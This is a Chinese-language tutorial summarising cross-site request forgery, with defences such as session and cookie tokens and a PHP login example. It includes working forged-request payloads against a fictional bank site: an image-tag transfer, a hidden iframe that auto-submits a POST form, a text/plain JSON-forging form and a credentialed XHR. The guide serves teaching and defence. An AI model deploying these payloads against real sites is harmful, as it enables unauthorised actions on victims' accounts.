CSRF小结

CSRF

跨站请求伪造(Cross-Site Request Forgery,CSRF),攻击者通过伪装来自某个网站受信任用户,对该网站发送恶意请求。

XSS与CSRF的区别:

  • XSS:
    攻击者发现XSS漏洞 —> 构造代码 —> 发送给受害人 —> 受害人打开 —> 攻击者获取受害人的cookie —> 完成攻击
  • CSRF:
    攻击者发现CSRF漏洞 —> 构造代码 —> 发送给受害人 —> 受害人打开 —> 受害人执行代码 —> 完成攻击

可以发现,与XSS相比,CSRF在受害人执行代码后攻击就已完成。

举个例子

GET请求

假设某银行网站xbank的转账是采用GET方式进行操作的,如:

1
http://www.xbank.com/transfer.php?toUserId=88&Money=1000

给ID为88的账户转账1000元。

攻击者构造了一个恶意页面,如:

1
<img src="http://www.xbank.com/transfer.php?toUserId=88&Money=1000">

受害者打开了这个界面,浏览器访问图片的url,会携带xbank的cookie,如果该受害者的浏览器中xbank的Cookie或Session还没有过期,xbank就会认为是受害者主动发送的请求,那么就成功转账了。

POST请求

xbank改为了用POST提交表单进行转账操作:

1
2
3
4
5
<form action="./transfer.php" method="POST">
<p>ToUserId <input type="text" name="ToUserId"></p>
<p>Money <input type="text" name="Money"></p>
<p><input type="submit" name="Submit"></p>
</form>

恶意攻击者根据转账表单进行伪造了一份一模一样的转账表单,并且嵌入到iframe中:

index.html:

1
2
3
4
5
6
7
<h1>Waiting...</h1>
<script type="text/javascript">
function attack() {
window.frames[0].document.forms[0].submit();
}
</script>
<iframe style="display: none;" src="./csrf.html" onload="attack()"></iframe>

csrf.html:

1
2
3
4
5
<form action="http://www.xbank.com/transfer.php" method="POST">
<input type="hidden" name="toUserId" value="88">
<input type="hidden" name="Money" value="1000">
<input type="hidden" name="Submit" value="submit">
</form>

成功转账。

JSON 格式

这次xbank一个端口是要提交JSON格式的数据:

1
2
3
4
5
6
POST /check.php HTTP/1.1
Host: www.xbank.com
Content-Type: application/json; charset=utf-8
Content-Length: 45

{"Sno":"22900001","Sname":"zzk","Sgrade":"4"}

仍然可以构造表单进行攻击:

1
2
3
4
<form action="http://www.xbank.com/check.php" method="POST" enctype="text/plain">  
<input name='{"Sno":"22900001","Sname":"zzk","Sgrade":"4", "padding":"' value='padding"}'type='hidden'>
<input type=submit>
</form>

这里数据编码为text/plain,不对JSON中的特殊字符编码。注意form标签的enctype只能设为:application/x-www-form-urlencoded、multipart/form-data、text/plain 三种。因此如果服务器如果检查Content-Type必须为application/json,那就只能用XMLHttpRequest了:

1
2
3
4
5
6
7
8
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xbank.com/check.php", true);
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
var s = {"Sno": "22900001", "Sname":"zzk", "Sgrade":"4"};
xhr.send(JSON.stringify(s));
</script>

注意这里将withCredentials设为true,这样才会一并发送cookie。但使用XMLHttpRequest又会牵扯到一个问题,那就是CORS。增添Content-Type头部后,这是一个非简单请求,浏览器会发送一个OPTIONS的预检,服务端很有可能不会响应这个请求,浏览器也就不会发送POST请求了。即使是一个简单请求,如果服务器检查Orgin头部,那就凉了。

防御

  1. 使用验证码。只要涉及到数据交互就先进行验证码验证,可以完全解决CSRF。但是用户体验极差,慎重考虑。
  2. 验证HTTP Referer字段。但不是很安全,可以绕过。
  3. 为每个表单添加令牌Token并验证。强烈推荐。
  4. 对于特殊的Content-Type进行校验,并检查Orign头部。

令牌(Token)

服务端为每一个表单生成一个随机字符串,并在服务端验证这个Token,如果请求中没有Token或者Token内容不正确,则认为可能是CSRF攻击而拒绝该请求。由于这个Token是随机不可预测,因此恶意攻击者就不能够伪造这个表单进行CSRF攻击了。

目前有两种方式来存储令牌:SESSION和COOKIE。

利用 SESSION

  1. 后端生成随机字符串Token,储存在Session中。
  2. 每当有表单时,从Session中取出Token,放入表单中,并隐藏。用户提交表单一并将Token提交。
  3. 服务端先验证$_POST['token'] === $_SESSION['token'],再执行其他逻辑。

一个简单的利用SESSION防止CSRF的登陆界面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
function getTokenValue() {
return md5(uniqid(rand(), true).time());
}
function getToken($tokenName) {
session_start();
if (!isset($_SESSION[$tokenName])) {
$_SESSION[$tokenName] = getTokenValue();
}
}
getToken('login_token');
?>

<form action="<?php echo basename(__FILE__);?>" method="POST">
<p>username <input type="text" name="username"></p>
<p>password <input type="password" name="password"></p>
<p><input type="hidden" name="login_token" value="<?php echo $_SESSION['login_token'];?>"></p>
<p><input type="submit" name="submit"></p>
</form>

<?php
if (isset($_POST['submit'])) {
$check = ($_POST['login_token'] === $_SESSION['login_token'])? true: false;
unset($_SESSION['login_token']);
if ($check) {
if ($_POST['username'] === 'admin' && $_POST['password'] === 'admin') {
echo "<script>confirm('Welcome, admin!', window.location.href='login.php')</script>";
}
else {
echo "<script>confirm('Username or password is wrong!', window.location.href='index.php')</script>";
}
}
else {
echo "<script>confirm('Token not right!', window.location.href='index.php')</script>";
}
}
?>

利用Session防御CSRF,很难找出其破绽。但Session有两个致命弱点:

  1. 所有用户,不论是否会提交表单,都将生成一个Session,这将是很大的资源浪费,对服务器的要求很高。
  2. 除了php的很多开发语言中,Session是可选项,很多网站根本没有Server Session。开发框架不能强迫开发者使用Session,所以在设计防御机制的时候也不会使用Session。

所以,像Django之类的python框架,会选择基于Cookie的CSRF防御方式。

与Session唯一的不同,只是将Token放入Cookie中,然后每次验证后将之销毁。网上有文章说要生成Token和Token的散列,服务端再验证,这是完全没必要的。因为仔细思考一下,就会发现,攻击者无法轻易修改用户在目标网页上的Cookie。

但如果可以写入Cookie,也会使这种防御手法失效:

  1. 某些低级网页可以直接写入Cookie
  2. 利用XSS漏洞写入Cookie
  3. 利用CRLF漏洞注入Cookie
  4. 利用畸形字符使后端解析Cookie出错,注入Cookie

XSS + CSRF

但如果网页还存在XSS漏洞,那么Token有可能会被窃取,甚至Cookie都会被盗,那么还用什么CSRF。

可以看RCTF-2015的xss这道题:
http://www.hackdig.com/11/hack-28667.htm

参考